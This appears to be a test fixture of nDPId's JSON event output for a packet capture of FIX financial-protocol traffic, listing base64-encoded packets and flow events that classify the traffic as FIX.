+00525{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":210,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755113,"pkt_ts_usec":353689,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"ACJNe\/gxTHK5MeMlCABFAAB8GO1AAEAGJNrAqAAU0PVrA5i2D6BAkgcPSlCRP1AY\/\/\/ZrgAAOD1GSVhDT01QATk9NjkBeJwFwTsKgEAQA1ByICWZnbAfmFbwBrY2djbev\/C9Ucd57bkLs8g0motoWZR7Co4KqtOMTXN5rBaQop77eyGWTPzcug3M"} +00407{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":214,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755113,"pkt_ts_usec":404609,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"THK5MeMlACJNe\/gxCABFAAAo8tUAADIGmUXQ9WsDwKgAFA+gmLZKUJE\/QJIHY1AQWpSMrwAA"} +00478{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":222,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755113,"pkt_ts_usec":567320,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"THK5MeMlACJNe\/gxCABFAABbkAcAAPUGVqkIERYfwKgAFA+gn9aNJ1TY\/ryrG4AY\/\/98qAAAAQEICsq+N3DWRq5zOD1GSVguNC4xATk9MDAwMTQBMzU9MQExMTI9ZmFybQExMD0yMTcB"} +00427{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":223,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755113,"pkt_ts_usec":567498,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA0b9lAAEAG6\/7AqAAUCBEWH5\/WD6D+vKsbjSdU\/4AQ\/\/\/ToQAAAQEICtZGsEPKvjdw"} +00546{"flow_id":8,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755113,"pkt_ts_usec":567737,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"ACJNe\/gxTHK5MeMlCABFAACJb9pAAEAG66jAqAAUCBEWH5\/WD6D+vKsbjSdU\/4AY\/\/\/eYAAAAQEICtZGsEPKvjdwOD1GSVhDT01QATk9NzABeJwFwbENgDAQA0D9QET2J4YkkttIbEBLQ0fD\/gV33eu8SiuMYaApqoyozaD6jlA6wQNCbhxTfdYMMv3c3xuEqYwf3RAN0A=="} +00427{"flow_id":8,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755113,"pkt_ts_usec":590083,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"THK5MeMlACJNe\/gxCABFAAA0m3MAAPUGS2QIERYfwKgAFA+gn9aNJ1T\/\/ryrcIAQ\/\/\/TNQAAAQEICsq+N4fWRrBD"} +00531{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":256,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755114,"pkt_ts_usec":507676,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"ACJNe\/gxTHK5MeMlCABFAACB4B9AAEAGe2vAqAAUCBEWH7tQD6DrumPmnOhHQIAY\/+BrUwAAAQEICrFzuwzKvibGOD1GSVhDT01QATk9NjIBeJwNx8ENwDAIA0B5oEYGQxMi8Y3UDbr\/JO39bvV53hHDUE3qhrIJxZ+smkhvp00m\/bLaubYEYzOED2YPC2I="} +00423{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":257,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755114,"pkt_ts_usec":526468,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"THK5MeMlACJNe\/gxCABFAAA00NgAAPUGFf8IERYfwKgAFA+gu1Cc6EdA67pkM4AQ\/\/8mWgAAAQEICsq+OzCxc7sM"} +00517{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":282,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755115,"pkt_ts_usec":297071,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"THK5MeMlACJNe\/gxCABFAAB5U\/0AADIGN83Q9WsDwKgAFA+glvwzTd+cWnk+l1AYb976PQAAOD1PATk9MDA3MAEzNT1HAQH4AAAABVkI5OYMFeFg3lAEMAATioF3AAAABFkI5OYMFVZgnhAAEAATiYAAAAAABlkI5OYMW+2AXhAAEAQTiIAA"} +00414{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":283,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755115,"pkt_ts_usec":297241,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAouAxAAEAGhg7AqAAU0PVrA5b8D6BaeT6XM03f7VAQ\/GxjygAAAAAAAAAA"} +00481{"flow_id":8,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":298,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755115,"pkt_ts_usec":662792,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"THK5MeMlACJNe\/gxCABFAABbk4wAAPUGUyQIERYfwKgAFA+gn9aNJ1T\/\/ryrcIAY\/\/8W+gAAAQEICsq+P5\/WRrBDOD1PATk9MDAyOAEzNT1HAQCoAAAAAVkI5OYMBKkBnnAEEAAAfYAA"} +00427{"flow_id":8,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":303,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755115,"pkt_ts_usec":705541,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA0b9tAAEAG6\/zAqAAUCBEWH5\/WD6D+vKtwjSdVJoAQ\/\/\/IdAAAAQEICtZGssXKvj+f"} +00454{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":328,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755116,"pkt_ts_usec":449910,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"THK5MeMlACJNe\/gxCABFAABLyzkAADIGwL7Q9WsDwKgAFA+gshDsZRFnr0wvXVAYWghtswAAOD1PATk9MDAyNAEzNT1HAQCIAAAAWQxAldUzQAuIygAAAAE="} +00415{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":329,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755116,"pkt_ts_usec":450077,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAoPkdAAEAG\/9PAqAAU0PVrA7IQD6CvTC9d7GURilAQo65xJgAAAAAAAAAA"} +00480{"flow_id":8,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":340,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755116,"pkt_ts_usec":576090,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"THK5MeMlACJNe\/gxCABFAABbCkwAAPUG3GQIERYfwKgAFA+gn9aNJ1Um\/ryrcIAY\/\/\/qjgAAAQEICsq+QzHWRrLFOD1PATk9MDAyOAEzNT1HAQCoAAAADVkI5OYMFgYg3jAEMAATiYB9"} +00427{"flow_id":8,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":341,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755116,"pkt_ts_usec":576253,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA0b9xAAEAG6\/vAqAAUCBEWH5\/WD6D+vKtwjSdVTYAQ\/\/\/DtgAAAQEICtZGs8rKvkMx"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":344,"source":"fix.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1493755116662,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":1,"l3_proto":"ip4","src_ip":"217.192.86.32","dst_ip":"192.168.0.20","src_port":4000,"dst_port":53330,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00458{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":344,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755116,"pkt_ts_usec":662603,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"THK5MeMlACJNe\/gxCABFAABP0h0AAC8GyO7ZwFYgwKgAFA+g0FJoqda4F+2kj1AYRRhFXQAAOD1GSVguNC4xATk9MDAwMTQBMzU9MQExMTI9ZmFybQExMD0yMTcB"} +00493{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":344,"source":"fix.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1493755116662,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":1,"l3_proto":"ip4","src_ip":"217.192.86.32","dst_ip":"192.168.0.20","src_port":4000,"dst_port":53330,"l4_proto":"tcp","ndpi": {"proto":"FIX","breed":"Safe","category":"RPC"}} +00527{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":345,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755116,"pkt_ts_usec":662933,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ACJNe\/gxTHK5MeMlCABFAAB9Lt9AAEAGGv\/AqAAU2cBWINBSD6AX7aSPaKnW31AYhgAmIwAAOD1GSVhDT01QATk9NzABeJwFwTsKgEAMBFByIJeZJMN+IK2wN7C1sbPx\/oXvjTr31bLRZgEpCxUsskD1SJOXgx2CH5xLY4WM9Hru7zWiKNkP3UcN1g=="} +00406{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":362,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755116,"pkt_ts_usec":788876,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"THK5MeMlACJNe\/gxCABFAAAo0h4AAC8GyRTZwFYgwKgAFA+g0FJoqdbfF+2k5FAQRRid0QAA"} +00507{"flow_id":8,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":375,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755117,"pkt_ts_usec":18095,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"THK5MeMlACJNe\/gxCABFAABw0W4AAPUGFS0IERYfwKgAFA+gn9aNJ1VN\/ryrcIAY\/\/\/t8QAAAQEICsq+ROvWRrPKOD1PATk9MDA0OQEzNT1HAQFQAAAAClkI5OYMBKcg3hAAEAATiYAAAAAADFkI5OYMB9wgnhAAEAATiYAA"} +00545{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":377,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755117,"pkt_ts_usec":43709,"pkt_caplen":153,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":153,"pkt_l4_len":119,"pkt":"ACJNe\/gxTHK5MeMlCABFAACLGO5AAEAGJMrAqAAU0PVrA5i2D6BAkgdjSlCRP1AY\/\/946wAAOD1GSVhDT01QATk9ODQBeJwVxzEKgDAMRmFyIEv+pKltIWvBVRy8QAdHUcHjW9\/y8bK3ZQ8xgIozJyY1B2kc80cmLoyZjWVCqZarJgLE2\/Fu\/brXfj4DhVghsCNm+gDp7BLR"} +00453{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":378,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755117,"pkt_ts_usec":50889,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"THK5MeMlACJNe\/gxCABFAABLyzoAADIGwL3Q9WsDwKgAFA+gshDsZRGKr0wvXVAYWggu3AAAOD1PATk9MDAyNAEzNT1HAQCIAAAAVgxAWLWEoAAAAAAAAAE="} +00406{"flow_id":10,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":382,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755117,"pkt_ts_usec":99077,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"THK5MeMlACJNe\/gxCABFAAAo8tYAADIGmUTQ9WsDwKgAFA+gmLZKUJE\/QJIHxlAQWpSMTAAA"} +00481{"flow_id":10,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":383,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755117,"pkt_ts_usec":100000,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"THK5MeMlACJNe\/gxCABFAABe8tcAADIGmQ3Q9WsDwKgAFA+gmLZKUJE\/QJIHxlAYWpTOmAAAOD1GSVguNC4xATk9MDAwMjkBMzU9MAExMTI9Rml4VGVzdFJlcXVlc3QzMTI1OQExMD0yMzYB"} +00417{"flow_id":10,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":384,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755117,"pkt_ts_usec":142205,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAoGO9AAEAGJSzAqAAU0PVrA5i2D6BAkgfGSlCRdVAQ\/\/\/mqgAAAAAAAAAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":419,"source":"fix.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1493755117668,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":1,"l3_proto":"ip4","src_ip":"8.17.22.31","dst_ip":"192.168.0.20","src_port":4000,"dst_port":40928,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":419,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755117,"pkt_ts_usec":668152,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"THK5MeMlACJNe\/gxCABFAABb6MoAAPUG\/eUIERYfwKgAFA+gn+AbjTX8bvFE4oAY\/\/8xhAAAAQEICsq+R3VyD9Q7OD1GSVguNC4xATk9MDAwMTQBMzU9MQExMTI9ZmFybQExMD0yMTcB"} +00490{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":419,"source":"fix.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1493755117668,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":1,"l3_proto":"ip4","src_ip":"8.17.22.31","dst_ip":"192.168.0.20","src_port":4000,"dst_port":40928,"l4_proto":"tcp","ndpi": {"proto":"FIX","breed":"Safe","category":"RPC"}} +00546{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":420,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755117,"pkt_ts_usec":668466,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"ACJNe\/gxTHK5MeMlCABFAACK1yxAAEAGhFXAqAAUCBEWH5\/gD6Bu8UTiG402I4AY\/+CkEwAAAQEICnIP3\/PKvkd1OD1GSVhDT01QATk9NzEBeJwFwbENgDAMBEB5IKJ\/Ow5OpG+R2ICWho6G\/QvuSsd5td5oU0BPixQsusCsLEuXgzsSvnGurBXDSNdzf68R4gj7Ad5tDd0="} +00425{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":425,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755117,"pkt_ts_usec":687593,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"THK5MeMlACJNe\/gxCABFAAA09L8AAPUG8hcIERYfwKgAFA+gn+AbjTYjbvFFOIAQ\/\/9+KwAAAQEICsq+R4lyD9\/z"} +00459{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":440,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755118,"pkt_ts_usec":23991,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"THK5MeMlACJNe\/gxCABFAABPU\/4AADIGN\/bQ9WsDwKgAFA+glvwzTd\/tWnk+l1AYb96XaAAAOD1GSVguNC4xATk9MDAwMTQBMzU9MQExMTI9ZmFybQExMD0yMTcB"} +00413{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":441,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755118,"pkt_ts_usec":24111,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAouA1AAEAGhg3AqAAU0PVrA5b8D6BaeT6XM03gFFAQ\/GxjowAAAAAAAAAA"} +00527{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":442,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755118,"pkt_ts_usec":24295,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"ACJNe\/gxTHK5MeMlCABFAAB+uA5AAEAGhbbAqAAU0PVrA5b8D6BaeT6XM03gFFAY\/GygFgAAOD1GSVhDT01QATk9NzEBeJwFwTkOgDAMBEDtg4h27TiX5DYSP6CloaPh\/wUzI\/d5lVqEmWQNeCThNakY3hCWRnUG7dBcMZZ3SJbP\/b0QU434Ad3bDdc="} +00405{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":445,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755118,"pkt_ts_usec":78981,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"THK5MeMlACJNe\/gxCABFAAAoU\/8AADIGOBzQ9WsDwKgAFA+glvwzTeAUWnk+7VAQb97v2wAA"} +00542{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":448,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755118,"pkt_ts_usec":101320,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"ACJNe\/gxTHK5MeMlCABFAACKLuBAAEAGGvHAqAAU2cBWINBSD6AX7aTkaKnW31AYhgCh7QAAOD1GSVhDT01QATk9ODMBeJwVi70KgDAMBskDWfIljf2BrAVXcfAFOjiKCj6+9Zbjhsvelj3EACrOPDOpOUjjiB8ycWEkNpYJpVqumggQb8e79ete+\/kMKWS8YEcEfem4EsM="} +00406{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":461,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755118,"pkt_ts_usec":227646,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"THK5MeMlACJNe\/gxCABFAAAo0h8AAC8GyRPZwFYgwKgAFA+g0FJoqdbfF+2lRlAQRRidbwAA"} +00480{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":462,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755118,"pkt_ts_usec":227674,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"THK5MeMlACJNe\/gxCABFAABe0iAAAC8GyNzZwFYgwKgAFA+g0FJoqdbfF+2lRlAYRRjcxQAAOD1GSVguNC4xATk9MDAwMjkBMzU9MAExMTI9Rml4VGVzdFJlcXVlc3QzMTI2MAExMD0yMjgB"} +00414{"flow_id":11,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":463,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755118,"pkt_ts_usec":268880,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAoLuFAAEAGG1LAqAAU2cBWINBSD6AX7aVGaKnXFVAQhgBcUQAAAAAAAAAA"} +00578{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":480,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755118,"pkt_ts_usec":770171,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"THK5MeMlACJNe\/gxCABFAAClfJYAAPUGadAIERYfwKgAFA+gu1Cc6EdA67pkM4AY\/\/+VzwAAAQEICsq+S8Oxc7sMOD1GSVguNC4xATk9MDAwMDg3ATM1PVUBMzQ9MDA2MTI4ATQzPU4BNTI9MjAxNzA1MDItMTk6NTg6MzgBNjA0MD03NwExPVU0MTE5ODkBNjU2Nj0xATE1PUJBU0UBOTgwNj03OTgxLjg1ATEwPTE2OQE="} +00422{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":481,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755118,"pkt_ts_usec":770324,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA04CBAAEAGe7fAqAAUCBEWH7tQD6DrumQznOhHsYAQ\/+AQdgAAAQEICrFzwAvKvkvD"} +00477{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":518,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755119,"pkt_ts_usec":676866,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"THK5MeMlACJNe\/gxCABFAABbvqcAAPUGKAkIERYfwKgAFA+gu1oMn5lJfDaoPYAY\/\/8gswAAAQEICsq+T04aP1SKOD1GSVguNC4xATk9MDAwMTQBMzU9MQExMTI9ZmFybQExMD0yMTcB"} +00541{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":519,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755119,"pkt_ts_usec":677251,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"ACJNe\/gxTHK5MeMlCABFAACK7JdAAEAGburAqAAUCBEWH7taD6B8Nqg9DJ+ZcIAYhgCZHwAAAQEICho\/YEnKvk9OOD1GSVhDT01QATk9NzEBeJwNxzsKgEAMBFDmQC6ZJMN+IK3gDWxt7Gy8f6Gve6P242zZiFlmKYTKEPlH2QPycmM3mW+cS2PFAOl1X+8DWlEdH91UDdo="} +00423{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":522,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755119,"pkt_ts_usec":695245,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"THK5MeMlACJNe\/gxCABFAAA0w8MAAPUGIxQIERYfwKgAFA+gu1oMn5lwfDaok4AQ\/\/9tVQAAAQEICsq+T2AaP2BJ"} +00511{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":555,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755120,"pkt_ts_usec":299447,"pkt_caplen":131,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":131,"pkt_l4_len":97,"pkt":"THK5MeMlACJNe\/gxCABFAAB1VAAAADIGN87Q9WsDwKgAFA+glvwzTeAUWnk+7VAYb95WQgAAOD1PATk9MDA2NgEzNT1HAQHYAAAABVkI5OsMFeFjHxAAEAATnoAAAAAABFkI5OsMFVZg3xAAEAATioAAAAAABlkI5OsIW+2APwJxEAQ="} 